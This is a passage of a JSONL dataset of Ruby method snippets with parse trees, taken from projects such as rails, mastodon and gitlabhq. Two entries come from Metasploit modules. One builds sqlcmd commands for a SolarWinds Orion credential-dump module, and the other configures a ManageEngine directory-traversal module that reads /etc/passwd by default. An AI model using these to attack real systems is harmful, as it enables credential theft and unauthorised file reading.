end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"render_sidebar_turbo_frame\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"ids\"]},{\"type\":\"kwoptarg\",\"children\":[\"src\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"target\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"attributes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"turbo_frame_tag\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"src\"]},{\"type\":\"lvar\",\"children\":[\"src\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render_skeleton\"]}]}]}","id":"db9f4306-2454-4661-b841-c201d355379d"} {"repo_name":"mastodon","file_path":"./repos/mastodon/spec/models/account_spec.rb","start_line":575,"raw_source":"def username_over_limit\n 'a' * described_class::USERNAME_LENGTH_LIMIT * 2\n end","complexity_score":3.9,"ast_json":"{\"type\":\"def\",\"children\":[\"username_over_limit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},\"*\",{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"USERNAME_LENGTH_LIMIT\"]}]},\"*\",{\"type\":\"int\",\"children\":[2]}]}]}","id":"417db198-80be-45c2-8e18-01067221f45f"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/invalid_options_test.rb","start_line":34,"raw_source":"def invalid_create_table_option_exception_message(key)\n table_keys = [\":temporary\", \":if_not_exists\", \":options\", \":as\", \":comment\", \":charset\", \":collation\"]\n primary_keys = [\":limit\", \":default\", \":precision\"]\n\n if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)\n primary_keys.concat([\":unsigned\", \":auto_increment\"])\n elsif current_adapter?(:SQLite3Adapter)\n table_keys.concat([\":rename\"])\n end\n\n \"Unknown key: :#{key}. Valid keys are: #{(table_keys + primary_keys).join(\", \")}\"\n end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"invalid_create_table_option_exception_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"table_keys\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":temporary\"]},{\"type\":\"str\",\"children\":[\":if_not_exists\"]},{\"type\":\"str\",\"children\":[\":options\"]},{\"type\":\"str\",\"children\":[\":as\"]},{\"type\":\"str\",\"children\":[\":comment\"]},{\"type\":\"str\",\"children\":[\":charset\"]},{\"type\":\"str\",\"children\":[\":collation\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"primary_keys\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":limit\"]},{\"type\":\"str\",\"children\":[\":default\"]},{\"type\":\"str\",\"children\":[\":precision\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_adapter?\",{\"type\":\"sym\",\"children\":[\"Mysql2Adapter\"]},{\"type\":\"sym\",\"children\":[\"TrilogyAdapter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"primary_keys\"]},\"concat\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":unsigned\"]},{\"type\":\"str\",\"children\":[\":auto_increment\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_adapter?\",{\"type\":\"sym\",\"children\":[\"SQLite3Adapter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_keys\"]},\"concat\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":rename\"]}]}]},null]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown key: :\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\". Valid keys are: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_keys\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"primary_keys\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]}","id":"3c60ebcd-87a3-4dd7-8a19-02b720175e51"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/resolver_shared_tests.rb","start_line":110,"raw_source":"def test_different_templates_when_cache_disabled\n with_file \"test/hello_world.html.erb\", \"Hello HTML!\"\n\n a = context.find(\"hello_world\", \"test\", false, [], {})\n b = context.disable_cache { context.find(\"hello_world\", \"test\", false, [], {}) }\n c = context.find(\"hello_world\", \"test\", false, [], {})\n\n # disable_cache should give us a new object\n assert_not_same a, b\n\n # but it should not clear the cache\n assert_same a, c\n end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_different_templates_when_cache_disabled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_file\",{\"type\":\"str\",\"children\":[\"test/hello_world.html.erb\"]},{\"type\":\"str\",\"children\":[\"Hello HTML!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"a\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"find\",{\"type\":\"str\",\"children\":[\"hello_world\"]},{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"false\",\"children\":[]},{\"type\":\"array\",\"children\":[]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"b\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"disable_cache\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"find\",{\"type\":\"str\",\"children\":[\"hello_world\"]},{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"false\",\"children\":[]},{\"type\":\"array\",\"children\":[]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"c\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"find\",{\"type\":\"str\",\"children\":[\"hello_world\"]},{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"false\",\"children\":[]},{\"type\":\"array\",\"children\":[]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_same\",{\"type\":\"lvar\",\"children\":[\"a\"]},{\"type\":\"lvar\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_same\",{\"type\":\"lvar\",\"children\":[\"a\"]},{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}]}","id":"f84f6c5c-de11-4ffd-9e75-bd49e37b1284"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/config.rb","start_line":392,"raw_source":"def department_of(qualified_cop_name)\n *cop_department, _ = qualified_cop_name.split('/')\n return nil if cop_department.empty?\n\n self[cop_department.join('/')]\n end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"department_of\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"qualified_cop_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cop_department\"]}]},{\"type\":\"lvasgn\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qualified_cop_name\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cop_department\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cop_department\"]},\"join\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}","id":"66dff927-5106-43a1-a175-6a43c926ad80"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/solarwinds_orion_dump.rb","start_line":317,"raw_source":"def sql_prepare(sql_query)\n if @orion_db_integrated_auth\n sql_cmd = \"#{@sql_client} -d \\\"#{@orion_db_name}\\\" -S #{@orion_db_instance_path} -E -Q \\\"#{sql_query}\\\" -h-1 -s\\\",\\\" -w 65535 -W -I\".gsub(\"\\r\", '').gsub(\"\\n\", '')\n else\n sql_cmd = \"#{@sql_client} -d \\\"#{@orion_db_name}\\\" -S #{@orion_db_instance_path} -U \\\"#{@orion_db_user}\\\" -P \\\"#{@orion_db_pass}\\\" -Q \\\"#{sql_query}\\\" -h-1 -s\\\",\\\" -w 65535 -W -I\".gsub(\"\\r\", '').gsub(\"\\n\", '')\n end\n sql_cmd\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"sql_prepare\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sql_query\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@orion_db_integrated_auth\"]},{\"type\":\"lvasgn\",\"children\":[\"sql_cmd\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sql_client\"]}]},{\"type\":\"str\",\"children\":[\" -d \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@orion_db_name\"]}]},{\"type\":\"str\",\"children\":[\"\\\" -S \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@orion_db_instance_path\"]}]},{\"type\":\"str\",\"children\":[\" -E -Q \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql_query\"]}]},{\"type\":\"str\",\"children\":[\"\\\" -h-1 -s\\\",\\\" -w 65535 -W -I\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\r\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sql_cmd\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sql_client\"]}]},{\"type\":\"str\",\"children\":[\" -d \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@orion_db_name\"]}]},{\"type\":\"str\",\"children\":[\"\\\" -S \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@orion_db_instance_path\"]}]},{\"type\":\"str\",\"children\":[\" -U \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@orion_db_user\"]}]},{\"type\":\"str\",\"children\":[\"\\\" -P \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@orion_db_pass\"]}]},{\"type\":\"str\",\"children\":[\"\\\" -Q \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql_query\"]}]},{\"type\":\"str\",\"children\":[\"\\\" -h-1 -s\\\",\\\" -w 65535 -W -I\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\r\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"sql_cmd\"]}]}]}","id":"6eff3f9a-3241-452e-9371-c239e9b22262"} {"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/lib/reverse_etl/transformers/embeddings/open_ai.rb","start_line":24,"raw_source":"def openai_embedding_request(text)\n http_method = \"POST\"\n payload = {\n model: @model,\n input: text\n }\n headers = {\n \"Authorization\" => \"Bearer #{@api_key}\",\n \"Content-Type\" => \"application/json\"\n }\n\n begin\n response = Multiwoven::Integrations::Core::HttpClient.request(\n OPENAI_EMBEDDING_URL,\n http_method,\n payload:,\n headers:\n )\n\n unless success?(response)\n raise OpenAIError, \"OpenAI request failed with status #{response.code}: #{response.body}\"\n end\n\n JSON.parse(response.body)\n rescue JSON::ParserError => e\n raise OpenAIError, \"Failed to parse response from OpenAI: #{e.message}\"\n rescue StandardError => e\n raise OpenAIError, \"An error occurred while making the OpenAI request: #{e.message}\"\n end\n end","complexity_score":22.7,"ast_json":"{\"type\":\"def\",\"children\":[\"openai_embedding_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"http_method\",{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@model\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"headers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Authorization\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Bearer \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@api_key\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Multiwoven\"]},\"Integrations\"]},\"Core\"]},\"HttpClient\"]},\"request\",{\"type\":\"const\",\"children\":[null,\"OPENAI_EMBEDDING_URL\"]},{\"type\":\"lvar\",\"children\":[\"http_method\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"success?\",{\"type\":\"lvar\",\"children\":[\"response\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"OpenAIError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"OpenAI request failed with status \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"ParserError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"OpenAIError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to parse response from OpenAI: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"OpenAIError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"An error occurred while making the OpenAI request: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}]}]}","id":"4a4e15fe-836c-408a-8e0e-ec08b05a0fdc"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => \"ManageEngine Support Center Plus Directory Traversal\",\n 'Description' => %q{\n This module exploits a directory traversal vulnerability found in ManageEngine\n Support Center Plus build 7916 and lower. The module will create a support ticket\n as a normal user, attaching a link to a file on the server. By requesting our\n own attachment, it's possible to retrieve any file on the filesystem with the same\n privileges as Support Center Plus is running. On Windows this is always with SYSTEM\n privileges.\n },\n 'License' => MSF_LICENSE,\n 'Author' => 'xistence ', # Discovery, Metasploit module\n 'References' => [\n ['CVE', '2014-100002'],\n ['EDB', '31262'],\n ['OSVDB', '102656'],\n ['BID', '65199'],\n ['PACKETSTORM', '124975']\n ],\n 'DisclosureDate' => '2014-01-28',\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n\n register_options(\n [\n Opt::RPORT(8080),\n OptString.new('TARGETURI', [true, 'The base path to the Support Center Plus installation', '/']),\n OptString.new('USER', [true, 'The Support Center Plus user', 'guest']),\n OptString.new('PASS', [true, 'The Support Center Plus password', 'guest']),\n OptString.new('FILE', [true, 'The Support Center Plus password', '/etc/passwd'])\n ]\n )\n end","complexity_score":10.35,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"ManageEngine Support Center Plus Directory Traversal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits a directory traversal vulnerability found in ManageEngine\\n\"]},{\"type\":\"str\",\"children\":[\" Support Center Plus build 7916 and lower. The module will create a support ticket\\n\"]},{\"type\":\"str\",\"children\":[\" as a normal user, attaching a link to a file on the server. By requesting our\\n\"]},{\"type\":\"str\",\"children\":[\" own attachment, it's possible to retrieve any file on the filesystem with the same\\n\"]},{\"type\":\"str\",\"children\":[\" privileges as Support Center Plus is running. On Windows this is always with SYSTEM\\n\"]},{\"type\":\"str\",\"children\":[\" privileges.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"xistence \"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-100002\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"31262\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"102656\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"65199\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PACKETSTORM\"]},{\"type\":\"str\",\"children\":[\"124975\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2014-01-28\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8080]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path to the Support Center Plus installation\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The Support Center Plus user\"]},{\"type\":\"str\",\"children\":[\"guest\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The Support Center Plus password\"]},{\"type\":\"str\",\"children\":[\"guest\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The Support Center Plus password\"]},{\"type\":\"str\",\"children\":[\"/etc/passwd\"]}]}]}]}]}]}]}","id":"1d9719f6-8bb2-4f32-b958-e578f6179862"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/filtered_search_helpers.rb","start_line":308,"raw_source":"def expect_token_segment(value)\n expect(page).to have_css '.gl-filtered-search-token-segment', text: value\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_token_segment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".gl-filtered-search-token-segment\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}","id":"2f6e389f-2811-42da-9cbb-7951aae477f4"} {"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/nodebb/mongo.rb","start_line":74,"raw_source":"def topic(id)\n topic = mongo.find(_key: \"topic:#{id}\").first\n\n topic[\"lastposttime\"] = timestamp_to_date(topic[\"lastposttime\"])\n topic[\"timestamp\"] = timestamp_to_date(topic[\"timestamp\"])\n topic[\"mainpost\"] = post(topic[\"mainPid\"])\n topic[\"mainPid\"] = topic[\"mainPid\"].to_s\n topic[\"deleted\"] = topic[\"deleted\"].to_s\n topic[\"pinned\"] = topic[\"pinned\"].to_s\n topic[\"locked\"] = topic[\"locked\"].to_s\n\n topic\n end","complexity_score":27.0,"ast_json":"{\"type\":\"def\",\"children\":[\"topic\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mongo\"]},\"find\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"_key\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"topic:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"lastposttime\"]},{\"type\":\"send\",\"children\":[null,\"timestamp_to_date\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"str\",\"children\":[\"lastposttime\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[null,\"timestamp_to_date\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"str\",\"children\":[\"timestamp\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"mainpost\"]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"str\",\"children\":[\"mainPid\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"mainPid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"str\",\"children\":[\"mainPid\"]}]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"deleted\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"str\",\"children\":[\"deleted\"]}]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"pinned\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"str\",\"children\":[\"pinned\"]}]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"locked\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"str\",\"children\":[\"locked\"]}]},\"to_s\"]}]},{\"type\":\"lvar\",\"children\":[\"topic\"]}]}]}","id":"8fe92ce6-6466-4ea4-89e0-745af4348a0f"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/relation.rb","start_line":160,"raw_source":"def label_for(work_package)\n key = from_id == work_package.id ? :name : :sym_name\n\n TYPES[relation_type] ? TYPES[relation_type][key] : :unknown\n 